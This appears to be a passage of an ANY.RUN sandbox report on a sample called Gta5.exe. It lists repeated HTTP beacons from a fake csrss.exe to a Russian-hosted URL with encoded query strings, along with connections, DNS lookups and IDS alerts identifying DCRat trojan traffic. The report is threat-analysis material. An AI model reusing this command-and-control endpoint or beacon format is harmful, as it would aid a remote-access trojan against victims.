smaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&6886a73b10a53c73ed4b42a7a4dd1b59=d1nIRZWaNdVY6ZFWUdWVHJ2dxcVWUhnRYpGbyMWMxUEWj50VhNnSXRWU4ZEW6pEWapnVGh1YwpXUp9maJ9mUYlVUKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUaJl2Tpd2RkhmQWJGaKNjWsh3VaVlSDxUaJl2Tp1ESjdnRVJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTSDJlSKhlW6ZlVihmVHRGVKNETp10Mi5GbtN2aG12Ymh3VaBnSulFak1WS2kUajxmTYZFdGdlWw4EbJN3dHJWM102TpNWbihGeVJGaWdEZUp0QMlGMXlFbSNzY21EWaNHbtp1ZwcVW5RmMilnQzwkNN1WS2k0QhBjRHVFdGdlWw4EbJNXSTtkdsdkWxYURJNza6pERGVUSyZ1RkNnRXp1UoNUS1xWRJxWNXFWT1cEW5hXMiBnUXRmQClnT1MWeRJkQ5FGbShkYoZVbV9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiIxcDOzcTM1MmYhFjYxMmMmFmY1QWY3gDNiNWYjlTOhNWN1IWY4EWZhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3472
csrss.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
3472
csrss.exe
141.8.192.26:80
a0923857.xsph.ru
Sprinthost.ru LLC
RU
unknown
1512
sipnotify.exe
23.199.215.176:80
query.prod.cms.rt.microsoft.com
AKAMAI-AS
DE
unknown
1132
svchost.exe
224.0.0.252:5355
—
—
—
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.67.143
  • 104.20.68.143
shared
a0923857.xsph.ru
  • 141.8.192.26
unknown
query.prod.cms.rt.microsoft.com
  • 23.199.215.176
whitelisted

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
3472
csrss.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3472
csrss.exe
A Network Trojan was detected
REMOTE [ANY.RUN] DCRat HTTP GET Request
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Gta5.exe